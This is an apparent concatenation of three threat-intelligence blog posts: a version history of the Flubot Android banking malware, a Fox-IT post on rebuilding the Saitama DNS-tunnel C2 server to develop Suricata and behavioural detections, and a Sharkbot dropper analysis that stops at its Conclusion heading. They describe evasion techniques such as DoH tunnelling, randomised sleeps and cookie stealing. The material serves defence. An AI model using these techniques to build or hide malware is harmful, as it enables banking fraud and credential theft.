On these initial versions (after 0.5), TAs also introduced other not so popular features like the “USSD” one which was used to call to special numbers to earn money (“RUN_USSD” command), it was introduced at some point between versions 1.2 and 1.7. In fact, it seems this feature wasn’t really used by Flubot’s TAs. Most used features were the web injections to steal banking and cryptocurrency platform credentials and sending SMS features to distribute and infect new devices.
From version 2.1 to 2.8 we observed TAs started to use a different packer for the actual Flubot’s payload. It could explain why we weren’t able to find samples on public repositories between 2.1 and 2.8, probably there were some “internal” versions used to try different packers and/or make it work with the new one.
March 2021: New countries and improvements on distribution campaigns [Flubot versions 3.4-3.7]
After a few months apparently focused on distribution campaigns and not really on new features for the malware itself, we have found version 3.4 in which TAs introduced some changes on the DGA code. In this version, they reduced the number of generated domains from 5.000 to 2.500 a month. At first sight this looks like a minor change, but is one of the first changes to start distributing the malware in different countries in a more easy way for TAs, since a different sample with different parameters was used for each country.
In fact, we can see a new version (3.6) customized for targeting victims in Germany in March 18, 2021. Only five days later, another version was released (3.7), with interesting changes. TAs were trying to use the same sample for campaigns in Spain and Germany, including Spanish and German phone country codes split by newline character to block the phone number to which the infected device is sending smishing messages.
At the same time, TAs introduced a new campaign on Hungary. By the end of March, TAs introduced a new change on version 3.7: an important change in their DGA, since they replaced “.com” TLD with “.su”. This change was important for tracking Flubot, since now TAs could use this new TLD to register new C2’s domains.
April 2021: DoH and unique samples for all campaigns [Flubot versions 3.9-4.0]
It seems TAs were working since late March on a new version: Flubot 3.9. In this new version, they introduced DNS-over-HTTPs (DoH). This new feature was used to resolve domain names generated by the DGA. This way, it was more difficult to detect infected devices in the network, since security solutions were not able to check which domains were being resolved.
In the following images we show decompiled code of this new version, including the new DoH code. TAs kept the old classic DNS resolving code. TAs introduced code to randomly choose if DoH or classic DNS should be used.
The introduction of DoH was not the only feature that was added to Flubot 3.9. TAs also added some UI messages to prepare future campaigns targeting Italy. Those messages were used a few days later in the new Flubot 4.0 version, in which TAs finally started to use one single sample for all of the campaigns – no more unique samples to targeted different countries.
With this new version, the targeted country’s parameters used on previous version of Flubot were chosen depending on the victim’s device language. This way, if the device language was Spanish, then Spanish parameters were used. The following parameters were chosen: – DGA seed – Phone country codes used for smishing and phone number blocking
May 2021: Time for infrastructure and C2 server improvements [Flubot versions 4.1-4.3]
May starts with a minor update on version 4.0 – a change the DoH servers used to resolve DGA domains. Now instead of using CloudFlare’s servers they started using Google’s servers. This was the first step to move to a new version, Flubot 4.1. In this new version, TAs have changed one more time the DoH servers used to resolve the C2 domains. In this case, they introduced three different services or DNS servers: Google, CloudFlare and AliDNS. The last one was used for the first time in the life of Flubot to resolve the DGA domains.
Those three different DoH services or servers were chosen randomly to resolve the generated domains, to finally make the requests to any of the active C2 servers. These changes also brought a new campaign in Belgium, in which TAs used fake BPost app and smishing messages to lure new victims. One week later, new campaigns in Turkey were also introduced, this time in a new Flubot version with important changes related to its C2 protocol.
The first samples of Flubot 4.2 appeared on 17 May 2021 with a few important changes in the code used to communicate with the C2 servers. In this version, the malware was sending HTTP requests with a new path in the C2: “p.php”, instead of the classic “poll.php” path.
At first sight it seemed like a minor change, but paying attention to the code we realized there was an important reason behind this change: TAs changed the encryption method used for the protocol to communicate with the C2 servers. Previous versions of Flubot were using simple XOR encryption to encrypt the information exchanged with the C2 servers, but this new version 4.2 was using RC4 encryption to encrypt that information instead of the classic XOR. This way, the C2 server still supported old versions and new version at the same time:
poll.php and poll2.php were used to send/receive requests using the old XOR encryption
p.php was used to send and receive requests using the new RC4 encryption
Besides the new protocol encryption on version 4.2, TAs also added at the end of May support for new campaigns in Romania. Finally, on 28 May 2021 new samples of Flubot 4.3 were discovered with minor changes, mainly focused on the strings obfuscation implemented by the malware.
June 2021: VoiceMail. New campaign new countries [Flubot versions 4.4-4.6]
A few days after first samples of Flubot 4.3 were discovered – on May 31, 2021 and June 1, 2021 – new samples of Flubot were observed with version number bumped to 4.4. One more time, no major changes in this new version. TAs added support for campaigns in Portugal. As we can see with versions 4.3 and 4.4, it was common for Flubot’s TAs to bump the version number in just a few days, with just minor changes. Some versions were not even found in public repositories (e.g. version 3.3), which suggests that some versions were never used in public or just skipped and TAs just bumped the version. Maybe those “lost versions” lasted just a few hours in the distribution servers and were quickly updated to fix bugs.
In the month of June the TAs hardly made any changes related to features, but instead they were working on new distribution campaigns. On version 4.5, TAs added Slovakia, Czech Republic, Greece and Bulgaria to the list of supported countries for future campaigns. TAs reused the same DGA seed for all of them, so it didn’t require too much work from their part to get this version released.
A few days after version 4.5 was observed, a new version 4.6 was discovered with new countries added for future campaigns: Austria and Switzerland. Also, some countries that were removed in previous versions were reintroduced: Sweden, Poland, Hungary, and The Netherlands.
This new version of Flubot didn’t come only with more country coverage. TAs introduced a new distribution campaign lure: VoiceMail. In this new “VoiceMail” campaign, infected devices were used to send text messages to new potential victims using messages in which the user was lead to a fake website. This time a “VoiceMail” app was installed, which should allow the user to listen to the received Voice mail messages. In the following image we can see the VoiceMail campaign for Spanish users.
July 2021: TAs Holidays [Flubot versions 4.7]
July 2021 is the month with less activity. In this month, only one version update was observed at the very beginning of the month – Flubot 4.7. This new version came without the usage of different DGA seeds by country or device language. TAs started to randomly choose the seed from a list of seeds, which were the same seeds that were previously used for country or device language.
Besides the changes related to the DGA seeds, TAs also introduced support for campaigns in new countries: Serbia, Croatia and Bosnia and Herzegovina.
There was almost no Flubot activity in summer. Our assumption is the developers were busy with their summer holidays. As we will see in the following section, TAs will recover their activity in August and October.
August-September 2021: Slow come back from Holidays [Flubot versions 4.7-4.9]
During the first days of August, after TAs possibly enjoyed a nice holiday season, Australia was added to version 4.7 in order to start distribution campaigns in that country. Only a week later, TAs released the new version 4.8, in which we found some minor changes mostly related to UI messages and alert dialogs.
One more version bump for Flubot was discovered on September, when version 4.9 came out with some more minor changes, just like the previous version 4.8. This time, new web injections were introduced in the C2 servers to steal credentials from victims. Those two new versions with minor changes (not very relevant) seems like a relaxed come back to activity. From our point of view, the most interesting thing that happened in those two months is that TAs started to distribute another malware family using the Flubot botnet. We received from C2 servers a few smishing tasks in which the fake “VoiceMail” website was serving Teabot (also known as Anatsa and Toddler) instead of Flubot.
That was very interesting because it showed that Flubot’s TAs could be also associated with this malware family or at least could be interested on selling the botnet for smishing purposes to other malware developers. As we will see, that was not the only family distributed by Flubot.
October-November 2021: ‘Android Security Update’ campaign and new big protocol changes [Flubot versions 4.9]
During October and most part of November, Flubot’s TAs didn’t bump the version number of the malware and they didn’t do very important moves during that period of time.
At the beginning of October, we saw a campaign different from the previous DHL / Correos / Fedex campaigns or the “VoiceMail” campaign. This time, TAs started to distribute Flubot as a fake security update for Android. It seems this new distribution campaign wasn’t working as expected, since TAs kept using the “VoiceMail” distribution campaign after a few days.
TAs were very quiet until late November, when they finally released new samples with important changes in the protocol used to communicate with C2 servers. After bumping the version numbers so quickly at the beginning, now TAs weren’t bumping the version number even with a major change like this one.
This protocol change allowed the malware to communicate with the C2 servers without starting a direct connection with them. Flubot used TXT DNS requests to common public DNS servers (Google, CloudFlare and AliDNS). Then, those requests were forwarded to the actual C2 servers (which implemented DNS servers) to get the TXT record response from the servers and forward it to the malware. The stolen information from the infected device was sent encrypting it using RC4 (in a very similar way to the used in the previous protocol version) and encoding the encrypted bytes. This way, the encoded payload was used as a subdomain of the DGA generated domain. The response from C2 servers was also encrypted and encoded as the TXT record response to the TXT request, and it included the commands to execute smishing tasks for distribution campaign or the web injections used to steal credentials.
With this new protocol, Flubot was using DoH servers from well known companies such as Google and CloudFlare to establish a tunnel of sorts with the C2 servers. With this technique, detecting the malware via network traffic monitoring was very difficult, since the malware wasn’t establishing connections with unknown or malicious servers directly. Also, since it was using DoH, all the DNS requests were encrypted, so network traffic monitoring couldn’t identify those malicious DNS requests.
This major change in the protocol with the C2 servers could also explain the low activity in the previous months. Possibly developers were working on ways to improve the protocol as well as the code of both malware and C2 servers backend.
December 2021: ‘Flash Player’ campaign and DGA changes [Flubot versions 5.0-5.1]
Finally, in December the TAs decided to finally bump the version number to 5.0. This new version brought a minor but interesting change: Flubot can now receive URLs in addition to web injections HTML and JavaScript code. Before version 5.0, C2 servers would send the web injection code, which was saved on the device for future use when the victim opened one of the targeted applications in order to steal the credentials. Since version 5.0, C2 servers were sending URLs instead, so Flubot’s malware had to visit the URL and save the HTML and JavaScript source code in memory for future use.
No more new versions or changes were observed until the end of December, when the TAs wanted to say goodbye to the 2021 by releasing Flubot 5.1. The first samples of Flubot 5.1 were detected on December 31. As we will see in the following section, on January 2 Flubot 5.2 samples came out. Version 5.1 came out with some important changes on DGA. This time, TAs introduced a big list of TLDs to generate new domains, while they also introduced a new command used to receive a new DGA seed from the C2 servers – UPDATE_ALT_SEED. Based on our research, this new command was never used, since all the newly infected devices had to connect to the C2 servers using the domains generated with the hard-coded seeds.
Besides the new changes and features added in December, TAs also introduced a new campaign: “Flash Player”. This campaign was used alongside with “VoiceMail” campaign, which still was the most used to distribute Flubot. In this new campaign, a text message was sent to the victims from infected devices trying to make them install a “Flash Player” application in order to watch a fake video in which the victim appeared. The following image shows how simple the distribution website was, shown when the victim opens the link.
January 2022: Improvements in Smishing features and new ‘Direct Reply’ features [Flubot versions 5.2-5.4]
At the very beginning of January new samples for the new version of Flubot were detected. This time, version 5.2 introduced minor changes in which TAs added support for longer text messages on smishing tasks. They stopped using the usual Android’s “sendTextMessage” function and started to use “sendMultipartTextMessage” alongside “divideMessage” instead. This allowed them to use longer messages, split into multiple messages.
A few days after new sample of version 5.2 was discovered, samples of version 5.3 were detected. In this case, no new features were introduced. TAs removed some unused old code. This version seemed like a version used to clean the code. Also, three days after the first samples of Flubot 5.3 appeared, new samples of this version were detected with support for campaigns in new countries: Japan, Hong Kong, South Korea, Singapore and Thailand.
By the end of January, TAs released a new version: Flubot 5.4. This new version introduced a new and interesting feature: Direct Reply. The malware was now capable to intercept the notifications received in the infected device and automatically reply them with a configured message received from the C2 servers.
To get the message that would be used to reply notifications, Flubot 5.4 introduces a new request command called “GET_NOTIF_MSG”. As the following image shows, this request command is used to get the message to finally be used when a new notification is received.
Even though this was an interesting new feature to improve the botnet’s distribution power, it didn’t last too long. It was removed in the following version.
In the same month we detected Medusa, another Android banking malware, distributed in some Flubot smishing tasks. This means that, one more time, Flubot botnet was being used as a distribution botnet for distribution of another malware family. In August 2021 it was used to distribute Teabot. Now, it has been used to distribute Medusa.
If we try to connect the dots, it could explain the new “Direct Reply” feature and the usage of “multipart messages”. Those improvements could have been introduced due to suggestions made by Medusa’s TAs in order to use Flubot botnet as distribution service.
February-March-April 2022: New cookie stealing features [Flubot versions 5.5]
From late January – when we fist observed version 5.4 in the wild – to late February, almost one month passed until a new version was released. We believe this case is similar to previous periods of time, like August-November 2021, when TAs used that time to introduce a big change in the protocol. This time, it seems TAs were quietly working on new Flubot 5.5, which came with a very interesting feature: Cookie stealing.
The first thing we realized by looking at the new code was a little change when requesting the list of targeted apps. This request must include the list of installed applications in the infected device. As a result, the C2 server would provide the subset of apps which are targeted. In this new version, “.new” was appended to the package names of installed apps when doing the “GET_INJECTS_LIST” request.
At the beginning, the C2 servers were responding with URLs to fetch the web injections for credentials stealing when using “.new” appended to the package’s name. After some time, C2 servers started to respond with the official URL of the banks and crypto-currency platforms, which seemed strange. After analysis of the code, we realized they also introduced code to steal the cookies from the WebView used to show web injections – in this case, the targeted entity’s website. Clicks and text changes in the different UI elements of the website were also logged and sent to the C2 server, so TAs were not only stealing cookies: they were also able to steal credentials via “keylogging”.
The cookies stealing code could receive an URL, the same way it could receive a URL to fetch web injections, but this time visiting the URL it wasn’t receiving the web injection. Instead, it was receiving a new URL (the official bank or service URL) to be loaded and to steal the credentials from. In the following image, the response from a compromised website used to download the web injections is shown. In this case, it was used to get the payload for stealing GMail’s cookies (shown when the victim tries to open Android Email application).
After the victim logs in to the legitimate website, Flubot will receive and handle an event when the website ends loading. At this time, it gets the cookies and sends them to the C2 server, as can be seen in the following image.
May 2022: MMS smishing and.. The End? [Flubot versions 5.6]
Once again, after one month without new versions in the wild, a new version of Flubot came out at the beginning of May: Flubot 5.6. This is the last known Flubot version.
This new version came with a new interesting feature: MMS smishing tasks. With this new feature, TAs were trying to bypass carriers detections, which were probably put in place after more than a year of activity. A lot of users were infected and their devices where sending text messages without their knowledge.
To introduce this new feature, TAs added new request’s commands: – GET_MMS: used to get the phone number and the text message to send (similar to the usual GET_SMS used before for smishing) – MMS_RATE: used to get the time rate to make “GET_MMS” request and send the message (similar to the usual SMS_RATE used before for smishing).
After this version got released on May 1st, the C2 servers stopped working on May 21st. They were offline until May 25th, but they were still not working properly, since they were replying with empty responses. Finally, on June 1st, Europol published on their website that they took down the Flubot’s infrastructure with the cooperation of police from different countries. Dutch Police was the one that took down the infrastructure. It probably happened because Flubot C2 servers, at some point in 2022, changed the hosting services to a hosting service in The Netherlands, making it easier to take down.
Does it mean this is the end of Flubot? Well, we can’t know for sure, but it seems police wasn’t able to get the RSA private keys since they didn’t make the C2 servers send commands to detect and remove the malware from the devices. This means that the TAs should be able to bring Flubot back by just registering new domains and setting up all the infrastructure in a “safer” country and hosting service. TAs could recover their botnet, with less infected devices due to the offline time, but still with some devices to continue sending smishing messages to infect new devices. It depends on the TAs intentions, since it seems that the police hasn’t found them yet.
Conclusion
Flubot has been one of the most – if not the most – active banking malware family of the last few years. Probably this was due to their powerful distribution strategy: smishing. This malware has been using the infected devices to send text messages to the phone numbers which were stolen from the victims smartphones. But this, in combination with fake parcel shipping messages in a period of time in which everybody is used to buy things online has made it an important threat.
As we have seen in this post, TAs have introduced new features very frequently, which made Flubot even more dangerous and contagious. A significant part of the updates and new features have been introduced to improve the distribution capabilities of the malware in different countries, while others have been introduced to improve the credentials and information stealing capabilities.
Some updates delivered major changes in the protocol, making it more difficult to detect via network monitoring, with a DoH tunnel-based protocol which is really uncommon in the world of Android Malware. It seems that TAs have even been interested on selling some kind of “smishing distribution” service to other TAs, as we have seen with the association with Teabot and Medusa.
After one year and a half, Dutch Police was able to take down the C2 servers after TAs started using a Dutch hosting service. It seems to be the end of Flubot, at least for now.
TAs still can move the infrastructure back to a “safer” hosting and register new DGA domains to recover their botnet. It’s too soon to determine that was the end of Flubot. Time will tell what will happen with this Android malware family, which has been one of the most important and interesting malware families in the last few years.
A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.
Introduction
For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.
In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.
Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.
To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection.
Reconstructing the Saitama traffic
The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available.
If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP.
The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.
Let’s do the twist
The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.
For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.
On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’.
To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down.
Function used by Saitama client to convert an integer into an encoded string.
To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.
Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.
Server-side implementation to arrive at the same shuffled alphabet as the client.
Twist, Sleep, Send, Repeat
Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.
The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.
Sleep configuration of the implant. The integers represent sleep times in milliseconds.
These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.
For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.
Transmission between server implementation and the implant
Transmission between server implementation and the implant
The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command.
Detection
Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.
Signature-based
Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule:
Only trigger if there are more than 50 queries in the last 3600 seconds. And only trigger once per 3600 seconds.
Table one: Content matches for Suricata IDS rule
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes.
Behaviour-based
The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.
Api.abcdefgh0.123456.dns.example.com or post. 4c6f72656d20697073756d20646f6c6f722073697420616d65742073756e74207175697320756c6c616d636f20616420646f6c6f7220616c69717569702073756e7420636f6d6d6f646f20656975736d6f642070726.c123456.dns.example.com
Table two: Example DNS queries for various toolings that support DNS tunnelling
Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.
This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.
To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives.
In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign.
While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs.
Conclusion
When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes.
Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.
Resources
With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.
The server-side implementation of Saitama can be found on the Fox-IT GitHub.
This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP.
Authored by Alberto Segura (main author) and Mike Stokkel (co-author)
Introduction
After we discovered in February 2022 the SharkBotDropper in Google Play posing as a fake Android antivirus and cleaner, now we have detected a new version of this dropper active in the Google Play and dropping a new version of Sharkbot. This new dropper doesn’t rely Accessibility permissions to automatically perform the installation of the dropper Sharkbot malware. Instead, this new version ask the victim to install the malware as a fake update for the antivirus to stay protected against threats. We have found two SharkbotDopper apps active in Google Play Store, with 10K and 50K installs each of them.
The Google Play droppers are downloading the full featured Sharkbot V2, discovered some time ago by ThreatFabric. On the 16th of August 2022, Fox-IT’s Threat Intelligence team observed new command-and-control servers (C2s), that were providing a list of targets including banks outside of United Kingdom and Italy. The new targeted countries in those C2s were: Spain, Australia, Poland, Germany, United States of America and Austria.
On the 22nd of August 2022, Fox-IT’s Threat Intelligence team found a new Sharkbot sample with version 2.25; communicating with command-and-control servers mentioned previously. This Sharkbot version introduced a new feature to steal session cookies from the victims that logs into their bank account.
The new SharkbotDropper in Google Play
In the previous versions of SharkbotDropper, the dropper was abusing accessibility permissions in order to install automatically the dropper malware. To do this, the dropper made a request to its command-and-control server, which provided an URL to download the full featured Sharkbot malware and a list of steps to automatically install the malware, as we can see in the following image.
Abusing the accessibility permissions, the dropper was able to automatically click all the buttons shown in the UI to install Sharkbot. But this not the case in this new version of the dropper for Sharkbot. The dropper instead will make a request to the C2 server to directly receive the APK file of Sharkbot. It won’t receive a download link alongside the steps to install the malware using the ‘Automatic Transfer Systems’ (ATS) features, which it normally did.
In order to make this request, the dropper uses the following code, in which it prepares the POST request body with a JSON object containing information about the infection. The body of the request is encrypted using RC4 and a hard coded key.
In order to complete the installation on the infected device, the dropper will ask the user to install this APK as an update for the fake antivirus. Which results in the malware starting an Android Intent to install the fake update.
This way, the new version of the Sharkbot dropper is now installing the payload in a non automatic way, which makes it more difficult to get installed – since it depends on the user interaction to be installed -, but it is now more difficult to detect before being published in Google Play Store, since it doesn’t need the accessibility permissions which are always suspicious. Besides this, the dropper has also removed the ‘Direct Reply’ feature, used to automatically reply to the received notifications on the infected device. This is another feature which needs suspicious permissions, and which once removed makes it more difficult to detect.
To make detection of the dropper by Google’s review team even harder, the malware contains a basic configuration hard coded and encrypted using RC4, as we can see in the following image.
The decrypted configuration, as we can see in the following image, contains the list of targeted applications, the C2 domain and the countries targeted by the campaign (in this example UK and Italy).
If we look carefully at the code used to check the installed apps against the targeted apps, we can realize that it first makes another check in the first lines:
String lowerCase = ((TelephonyManager) App.f7282a.getSystemService("phone")).getSimCountryIso().toLowerCase();
if (!lowerCase.isEmpty() && this.f.getString(0).contains(lowerCase))
Besides having at least one of the targeted apps installed in the device, the SharkbotDropper is checking if the SIM provider’s country code is one of the ones included in the configuration – in this campaign it must be GB or IT. If it matches and the device has installed any of the targeted apps, then the dropper can request the full malware download from the C2 server. This way, it is much more difficult to check if the app is dropping something malicious. But this is not the only way to make sure only targeted users are infected, the app published in Google Play is only available to install in United Kingdom and Italy.
After the dropper installs the actual Sharkbot v2 malware, it’s time for the malware to ask for accessibility permissions to start stealing victim’s information.
Sharkbot 2.25-2.26: New features to steal cookies
The Sharkbot malware keeps the usual information stealing features we introduced in our first post about Sharkbot:
Injections (overlay attacks): this feature allows Sharkbot to steal credentials by showing a fake website (phishing) inside a WebView. It is shown as soon as the malware detects one of the banking application has been opened.
Keylogging: this feature allows Sharkbot to receive every accessibility event produced in the infected device, this way, it can log events such as button clicks, changes in TextFields, etc, and finally send them to the C2.
SMS intercept: this feature allows Sharkbot to receive every text message received in the device, and send it to the C2.
Remote control/ATS: this feature allows Sharkbot to simulate accessibility events such as button clicks, physical button presses, TextField changes, etc. It is used to automatically make financial transactions using the victim’s device, this way the threat actors don’t need to log in to the stolen bank account, bypassing a lot of the security measures.
Those features were present in Sharkbot 1, but also in Sharkbot 2, which didn’t change too much related to the implemented features to steal information. As ThreatFabric pointed out in their tweet, Sharkbot 2, which was detected in May 2022, is a code refactor of the malware and introduces a few changes related to the C2 Domain Generation Algorithm (DGA) and the protocol used to communicate with the server. Version 2 introduced a new DGA, with new TLDs and new code, since it now uses MD5 to generate the domain name instead of Base64.
We have not observed any big changes until version 2.25, in which the developers of Sharkbot have introduced a new and interesting feature: Cookie Stealing or Cookie logger. This new feature allows Sharkbot to receive an URL and an User-Agent value – using a new command ‘logsCookie’ -, these will be used to open a WebView loading this URL – using the received User-Agent as header – as we can see in the following images of the code.
Once the victim logged in to his bank account, the malware will receive the PageFinished event and will get the cookies of the website loaded inside the malicious WebView, to finally send them to the C2.
New campaigns in new countries
During our research, we observed that the newer C2 servers are providing new targeted applications in Sharkbot’s configuration. The list of targeted countries has grown including Spain, Australia, Poland, Germany, United States of America and Austria. But the interesting thing is the new targeted applications are not targeted using the typical webinjections, instead, they are targeted using the keylogging – grabber – features. This way, the malware is stealing information from the text showed inside the official app. As we can see in the following image, the focus seems to be getting the account balance and, in some cases, the password, by reading the content of specific TextFields.
Also, for some of the targeted applications, the malware is providing within the configuration a list of ATS configurations used to avoid the log in based on fingerprint, which should allow to show the usual username and password form. This allows the malware to steal the credentials using the previously mentioned ‘keylogging’ features, since log in via fingerprint should ask for credentials.
Conclusion
